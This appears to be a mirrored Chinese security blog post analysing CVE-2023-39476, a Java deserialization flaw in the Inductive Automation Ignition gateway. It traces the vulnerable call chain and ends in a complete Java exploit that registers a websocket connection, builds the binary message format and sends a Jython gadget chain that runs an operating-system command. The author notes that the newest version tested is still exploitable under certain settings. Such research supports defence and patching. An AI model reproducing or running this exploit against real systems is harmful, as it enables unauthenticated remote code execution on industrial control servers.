CVE-2023-39476 Inductive Automation Ignition JavaSerializationCodec Deserializat...
source link: https://y4er.com/posts/cve-2023-394760-inductive-automation-ignition-javaserializationcodec-deserialization-rce/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
文章首发在先知社区 https://xz.aliyun.com/t/12813
根据公告来看 https://www.zerodayinitiative.com/advisories/ZDI-23-1046/ 未授权,反序列化点在JavaSerializationCodec,漏洞比较特殊,可能是设计问题,找找吧。
ignition-8.1.30-windows-64-installer.exe 一直下一步就行了
# 环境配置
进程树里典型的wrapper程序
服务里指定了配置文件
"C:\Program Files\Inductive Automation\Ignition\IgnitionGateway.exe" -s "C:\Program Files\Inductive Automation\Ignition\data\ignition.conf"
取消注释开启remote jvm debug,classpath在
- lib/wrapper.jar
- lib/core/common/*
- lib/core/gateway/*
所以把这三个目录里的jar拷贝出来创建项目加到lib里远程调试打断点。
我习惯先通过sink点的调用关系反推找到source点,然后再正向构造payload。
JavaSerializationCodec实现MessageCodec接口
com.inductiveautomation.metro.impl.codecs.JavaSerializationCodec
decode中用了 ObjectInputStream.readObject 朴实无华,找调用链就行了,通过jadx找到 com.inductiveautomation.metro.impl.transport.ServerMessage#decodePayload
继续向上回溯到 com.inductiveautomation.metro.impl.ConnectionWatcher#handleConnectionMessage
继续 com.inductiveautomation.metro.impl.ConnectionWatcher#handle
再向上回溯
到 forward 再到 onDataReceived
onDataReceived 向上到 com.inductiveautomation.metro.impl.protocol.websocket.servlet.DataChannelServlet#doPost
DataChannelServlet继承自HttpServlet 自身字段定义了SERVLET_NAME和url
猜测是动态创建的路由,于是寻找对SERVLET_NAME字段的引用,在 com.inductiveautomation.metro.impl.protocol.websocket.WebSocketFactory#getRequiredServletsExternal
中找到了
回溯 com.inductiveautomation.ignition.gateway.gan.WSChannelManager#getServletsToInstall
-> com.inductiveautomation.ignition.gateway.gan.WSChannelManager#restartChannels(java.util.Optional<com.inductiveautomation.metro.api.ServerId>)
可以路由地址为/system/ws-datachannel-servlet
,ok,到这就找到了完整的调用路径,接下来一步步构造即可。
# 构造请求包
请求包并不好构造,涉及到很多坑,我接下来慢慢讲。
请求 /system/ws-datachannel-servlet
返回403
调试发现在com.inductiveautomation.metro.impl.protocol.websocket.servlet.DataChannelServlet#service
会判断是否是ssl请求,并且和设定的端口进行比对,而boolean useSsl = webSocketFactory.isUseSsl()
的值取决于管理员设置,默认为true,在后台这个地方可以设置。
取消勾选此选项即可就不会返回403了,这里思考一个问题,http不是默认配置,那https呢?尝试访问8060端口,返回ERR_BAD_SSL_CLIENT_AUTH_CERT
,应该是mtls双向认证,和mr_me沟通了一下,他说需要配置一些ssl的东西,我配置了半天,没弄明白,这个得等mr_me的文章了。
但是再思考一下,如果这个漏洞需要手动配置ssl,还算是默认配置吗?想了想这个默认配置的定义,然后觉得无所吊谓,能打就行,能学到东西就行,瞬间释然了。扯远了,接着说漏洞。
发post包我们需要进入2标,需要满足1标不为空的前提
1标的值取决于this.incoming,这个时候我通过查找putIncomingConnection的调用关系,将目光锁定在另一个servlet com.inductiveautomation.metro.impl.protocol.websocket.servlet.WebSocketControlServlet
上,猜测是用这个来注册websocket链接就可以了。
WebSocketControlServlet继承自JettyWebSocketServlet,websocket会进行协议升级
org.eclipse.jetty.websocket.core.server.internal.AbstractHandshaker#upgradeRequest
org.eclipse.jetty.websocket.core.server.internal.CreatorNegotiator#negotiate
this.creator.createWebSocket(upgradeRequest, upgradeResponse)
创建了websocket
com.inductiveautomation.metro.impl.protocol.websocket.WebSocketFactory#createWebSocket
会校验参数,并且会校验ssl信息和ip地址
public Object createWebSocket(JettyServerUpgradeRequest req, JettyServerUpgradeResponse resp) {
String methodName = "createWebSocket";
String remoteSystemName = null;
String remoteUuid = "";
boolean requestSecure = req.isSecure();
if (this.useSsl && !requestSecure) {
this.logger.debug("createWebSocket", "Incoming insecure websocket upgrade request is not allowed (SSL / TLS is required in settings)");
return this.sendError(resp, 403, "Bad scheme");
} else {
HttpServletRequest httpServletRequest = req.getHttpServletRequest();
int requestPort = httpServletRequest.getLocalPort();
String protocol;
int localPort;
if (requestSecure) {
protocol = "https";
localPort = this.localHttpsPort;
} else {
protocol = "http";
localPort = this.localHttpPort;
}
if (requestPort != localPort) {
this.logger.debug("createWebSocket", String.format("Incoming %s request port %d is not allowed (expected %d)", protocol, requestPort, localPort));
return this.sendError(resp, 403, "Bad port");
} else {
Map<String, List<String>> params = req.getParameterMap();
List<String> nameParts = (List)params.get("name");
if (nameParts.isEmpty()) {
this.logger.error("createWebSocket", String.format("Request parameter '%s' was not sent during web socket connect request", "name"), (Throwable)null);
} else {
remoteSystemName = (String)nameParts.get(0);
}
List<String> urlParts = (List)params.get("url");
String remoteAddr;
if (urlParts.isEmpty()) {
remoteAddr = String.format("Request parameter '%s' was not sent during web socket connect request", "url");
this.logger.error("createWebSocket", remoteAddr, (Throwable)null);
return this.sendError(resp, 400, remoteAddr);
} else {
String remoteSystemUrlStr = (String)urlParts.get(0);
remoteAddr = httpServletRequest.getRemoteAddr();
if (!remoteSystemUrlStr.contains(remoteAddr)) {
String[] split = remoteSystemUrlStr.split(":");
remoteSystemUrlStr = split[0] + "://" + remoteAddr + ":" + split[2];
}
URL remoteSystemUrl;
try {
remoteSystemUrl = new URL(remoteSystemUrlStr);
} catch (MalformedURLException var22) {
this.logger.error("createWebSocket", String.format("The URL request parameter '%s' is not a valid URL", remoteSystemUrlStr), (Throwable)null);
return this.sendError(resp, 400, "The URL request parameter is not a valid URL");
}
List<String> uuidParts = (List)params.get("uuid");
if (uuidParts != null && !uuidParts.isEmpty()) {
remoteUuid = (String)uuidParts.get(0);
}
this.logger.debug("createWebSocket", String.format("Incoming connection from: '%s', remoteSystemName='%s', uuid='%s'", remoteSystemUrl, remoteSystemName, remoteUuid));
RemoteSystemId remoteSystemId = StringUtils.isBlank(remoteUuid) ? new RemoteSystemIdURL(remoteSystemUrlStr, remoteSystemName) : new RemoteSystemIdUUID(remoteUuid, remoteSystemName);
if (this.connectionSecurityPlugin != null) {
String securityMsg = this.connectionSecurityPlugin.checkConnection((RemoteSystemId)remoteSystemId, String.valueOf(remoteSystemUrl));
if (securityMsg.startsWith("SecurityFail:")) {
this.logger.debug("onConnect", securityMsg);
try {
resp.sendForbidden("Approval required");
} catch (IOException var21) {
}
return null;
}
}
MetroWebSocket newReceiver = new MetroWebSocket(this, (RemoteSystemId)remoteSystemId, remoteSystemUrl, Direction.Incoming, requestSecure);
RemoteSystemIdUUID localId = new RemoteSystemIdUUID(this.getLocalSystemUUID(), this.getLocalSystemId());
resp.setHeader("remoteSystemId", localId.toString());
return newReceiver;
}
}
}
}
在this.connectionSecurityPlugin.checkConnection((RemoteSystemId)remoteSystemId, String.valueOf(remoteSystemUrl))
会判断当前的ip传入策略
同样这里需要改为Unrestricted,或者加上白名单IP才行
接着构造websocket向172.16.1.152:8088/system/ws-control-servlet
发包,我这里用本地js发
<script>
let socket = new WebSocket("ws://172.16.1.152:8088/system/ws-control-servlet?name=q&uuid=6a7e39e1-1ca4-405f-bfb3-6d971d6e7211&url=http://172.16.1.152:8088/system");
socket.onopen = function (e) {
alert("[open] Connection established");
socket.send("My name is John");
};
socket.onmessage = function (event) {
alert(`[message] Data received from server: ${event.data}`);
};
socket.onclose = function (event) {
if (event.wasClean) {
alert(`[close] Connection closed cleanly, code=${event.code} reason=${event.reason}`);
} else {
// 例如服务器进程被杀死或网络中断
// 在这种情况下,event.code 通常为 1006
alert('[close] Connection died');
}
};
socket.onerror = function (error) {
alert(`[error] ${error.message}`);
};
</script>
成功通过onmessage拿到data remoteConnectionId=ignition-win-a4201ucqfrn
此时在 com.inductiveautomation.metro.impl.protocol.websocket.servlet.DataChannelServlet#doPost 中就可以满足非空条件了。
然后正常进入onDataReceived -> … -> … -> readObject
放出堆栈供大家借鉴
readObject:-1, ObjectInputStream (java.io)
decode:65, JavaSerializationCodec (com.inductiveautomation.metro.impl.codecs)
decodePayload:151, ServerMessage (com.inductiveautomation.metro.impl.transport)
handleConnectionMessage:393, ConnectionWatcher (com.inductiveautomation.metro.impl)
handle:442, ConnectionWatcher (com.inductiveautomation.metro.impl)
handle:45, ConnectionWatcher (com.inductiveautomation.metro.impl)
forward:1420, WebSocketConnection (com.inductiveautomation.metro.impl.protocol.websocket)
onDataReceived:1313, WebSocketConnection (com.inductiveautomation.metro.impl.protocol.websocket)
doPost:262, DataChannelServlet (com.inductiveautomation.metro.impl.protocol.websocket.servlet)
service:523, HttpServlet (javax.servlet.http)
service:188, DataChannelServlet (com.inductiveautomation.metro.impl.protocol.websocket.servlet)
service:590, HttpServlet (javax.servlet.http)
service:86, MapServlet (com.inductiveautomation.ignition.gateway.bootstrap)
# gadget
有readObject并不意味着rce,我们需要gadget,看了看lib好像有jython,想着去ysoserial找一找,然后发现了mr_me的现成的 https://github.com/frohoff/ysoserial/pull/200/ 哈哈哈,想睡觉就来枕头啊。
整理一下攻击流程,首先通过websocket获取remoteConnectionId,然后构造java序列化数据包发送即可rce。
这里给出java11用HttpClient发送恶意请求包的exp
package org.example;
import org.python.core.PyMethod;
import org.python.core.PyObject;
import org.python.core.PyString;
import org.python.core.PyStringMap;
import java.io.ByteArrayOutputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.net.URI;
import java.net.http.HttpClient;
import java.net.http.HttpRequest;
import java.net.http.HttpResponse;
import java.time.Duration;
import java.util.Comparator;
import java.util.HashMap;
import java.util.List;
import java.util.PriorityQueue;
public class Main {
public static void main(String[] args) throws Exception {
String url = "http://172.16.1.152:8088";
System.setProperty("jdk.httpclient.allowRestrictedHeaders", "Connection,Upgrade");
HttpClient httpClient = HttpClient.newBuilder().connectTimeout(Duration.ofSeconds(30))
// .proxy(ProxySelector.of(InetSocketAddress.createUnresolved("127.0.0.1", 8080)))
.build();
String name = "qq";
String uuid = "1a7e39e1-1ca4-405f-bfb3-6d971d6e7211";
HttpRequest request = HttpRequest.newBuilder()
.uri(URI.create(String.format("%s/system/ws-control-servlet?name=%s&uuid=%s&url=http://localhost:8088/system", url, name, uuid)))
.GET()
.header("Connection", "Upgrade").header("Sec-WebSocket-Version", "13").header("Sec-WebSocket-Key", "cJA5QIfEfnrZr7rrJ+3urg==").header("Upgrade", "websocket")
.header("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36")
.build();
HttpResponse<String> response = httpClient.send(request, HttpResponse.BodyHandlers.ofString());
List<String> headerForRemoteSystemID = response.headers().map().get("remoteSystemId");
if (headerForRemoteSystemID.size() < 1) {
System.out.println("[X] can't get remoteSystemId");
}
String remoteSystemId = headerForRemoteSystemID.get(0).split("\\|")[0];
System.out.println("remoteSystemId=" + remoteSystemId);
ByteArrayOutputStream stream = new ByteArrayOutputStream();
DataOutputStream dataOutputStream = new DataOutputStream(stream);
dataOutputStream.writeInt(18753); // magicBytes
dataOutputStream.writeInt(1); // protocolVersion
// messageId
dataOutputStream.writeShort(1);
//opCode
dataOutputStream.writeInt(1);
//subCode
dataOutputStream.writeInt(1);
//flags
dataOutputStream.writeByte(1);
//senderId
dataOutputStream.writeShort(name.length());
// 这里和websocket中的name参数保持一致
dataOutputStream.writeChars(name);
//targetAddress
dataOutputStream.writeShort(remoteSystemId.length());
dataOutputStream.writeChars(remoteSystemId);
//senderUrl
dataOutputStream.writeShort(1);
dataOutputStream.writeChar(47);
// readObject for ServerMessage
dataOutputStream.writeInt(1);
Class<?> aClass = Class.forName("com.inductiveautomation.metro.impl.transport.ServerMessage$ServerMessageHeader");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructors()[1];
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance("_conn_svr", "_js_");
Field headersValues = o.getClass().getDeclaredField("headersValues");
headersValues.setAccessible(true);
HashMap map = (HashMap) headersValues.get(o);
map.put("_source_", remoteSystemId);
map.put("replyrequested", "true");
byte[] bs = serialize(o);
dataOutputStream.writeInt(bs.length);
dataOutputStream.write(bs);
// evil payload
byte[] serialize = serialize(getObj("calc"));
dataOutputStream.write(serialize);
HttpRequest request1 = HttpRequest.newBuilder(URI.create(url + "/system/ws-datachannel-servlet"))
.POST(HttpRequest.BodyPublishers.ofByteArray(stream.toByteArray()))
.header("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36")
.build();
HttpResponse<String> httpResponse = httpClient.send(request1, HttpResponse.BodyHandlers.ofString());
System.out.println(httpResponse.body());
}
public static byte[] serialize(Object o) throws IOException {
ByteArrayOutputStream stream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(stream);
objectOutputStream.writeObject(o);
objectOutputStream.flush();
objectOutputStream.flush();
stream.flush();
return stream.toByteArray();
}
public static Object getObj(String cmd) throws Exception {
Class<?> BuiltinFunctionsclazz = Class.forName("org.python.core.BuiltinFunctions");
Constructor<?> c = BuiltinFunctionsclazz.getDeclaredConstructors()[0];
c.setAccessible(true);
Object builtin = c.newInstance("rce", 18, 1);
PyMethod handler = new PyMethod((PyObject) builtin, null, new PyString().getType());
Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
HashMap<Object, PyObject> myargs = new HashMap<>();
myargs.put("cmd", new PyString(cmd));
PyStringMap locals = new PyStringMap(myargs);
Object[] queue = new Object[]{new PyString("__import__('os').system(cmd)"), // attack
locals, // context
};
Field field = priorityQueue.getClass().getDeclaredField("queue");
field.setAccessible(true);
field.set(priorityQueue, queue);
Field declaredField = priorityQueue.getClass().getDeclaredField("size");
declaredField.setAccessible(true);
declaredField.set(priorityQueue, 2);
return priorityQueue;
}
}
从官网下的最新版 ignition-8.1.31-windows-64-installer 仍未修复,不过还是需要关闭ssl,并且配置IP策略为Unrestricted才行。
花了两天时间才看完这个洞,其中碰到了很多问题,写文章的时候一时半会想不起来了,可能会有疏漏。
文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK